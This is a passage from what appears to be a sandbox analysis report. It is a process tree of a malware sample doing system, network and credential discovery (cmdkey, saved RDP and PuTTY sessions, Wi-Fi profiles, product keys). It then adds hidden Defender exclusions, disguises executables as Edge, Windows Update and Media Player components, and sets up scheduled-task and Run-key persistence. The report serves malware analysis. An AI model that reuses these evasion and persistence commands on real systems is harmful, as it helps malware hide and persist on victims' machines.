  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:5604
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:5208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap""
    3⤵
    PID:2440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:5728
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:2136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV"
    3⤵
    PID:2904
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1688
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV
      4⤵
      Enumerates processes with tasklist
      PID:5856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey""
    3⤵
    PID:4232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey""
    3⤵
    PID:2744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey"
      4⤵
      PID:5136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    PID:3136
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:3100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "arp -a"
    3⤵
    - Network Service Discovery
    PID:3152
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:5128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netstat -ano"
    3⤵
    - System Network Connections Discovery
    PID:5944
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:4112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /displaydns"
    3⤵
    PID:5632
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /displaydns
      4⤵
      Gathers network information
      PID:3896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "route print"
    3⤵
    PID:6056
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:3148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net share"
    3⤵
    PID:5224
  - - C:\Windows\system32\net.exe
      net share
      4⤵
      PID:3056
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 share
        5⤵
        
        PID:2988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:704
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles"
    3⤵
    PID:4844
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles
      4⤵
      Modifies Windows Firewall
      PID:5456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List""
    3⤵
    PID:6024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:5028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath""
    3⤵
    PID:1932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:1124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    PID:5208
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      PID:3272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5996
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s 2>nul"
    3⤵
    PID:4152
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
      4⤵
      PID:576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>nul"
    3⤵
    PID:2136
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
      4⤵
      PID:2920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
    3⤵
    PID:4112
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:3736
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:1540
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:4588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:5628
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:3464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:5424
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:2020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv 2>nul"
    3⤵
    PID:1224
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv
      4⤵
      PID:5708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:5732
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:4136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:3244
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:1816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize""
    3⤵
    PID:2352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3760
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1588
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4836
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5644
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:3636
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
    3⤵
    PID:4592
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
      4⤵
      PID:1692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f 2>nul"
  2⤵
  PID:5372
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
    3⤵
    PID:2516
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
      4⤵
      PID:3344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:1904
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
    3⤵
    PID:1864
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
      4⤵
      PID:3856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdate" /f 2>nul"
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3304
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftEdgeUpdate" /f
    3⤵
    PID:5556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f"
  2⤵
  PID:5796
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
    3⤵
    PID:1600
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
      4⤵
      PID:692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780275967542.xml" /f"
  2⤵
  PID:3760
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780275967542.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2124
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:3908
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780275967651.xml" /f"
  2⤵
  PID:4448
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780275967651.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4872
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5960
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:4892
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780275967854.xml" /f"
  2⤵
  PID:4848
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780275967854.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:5440
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:6008
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780275968104.xml" /f"
  2⤵
  PID:1776
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780275968104.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:3632
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:2964
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780275968307.xml" /f"
  2⤵
  PID:4180
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4548
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780275968307.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2400
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:1248
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f"
  2⤵
  PID:3732
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
    3⤵
    PID:2796
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
      4⤵
      PID:5628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f"
  2⤵
  PID:2848
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
    3⤵
    PID:3712
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
      4⤵
      PID:4400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f"
  2⤵
  PID:5468
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5288
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
    3⤵
    PID:436
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
      4⤵
      PID:5240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f"
  2⤵
  PID:5216
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
    3⤵
    PID:6028
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
      4⤵
      PID:956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5248
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4288
- - C:\Windows\system32\cmd.exe
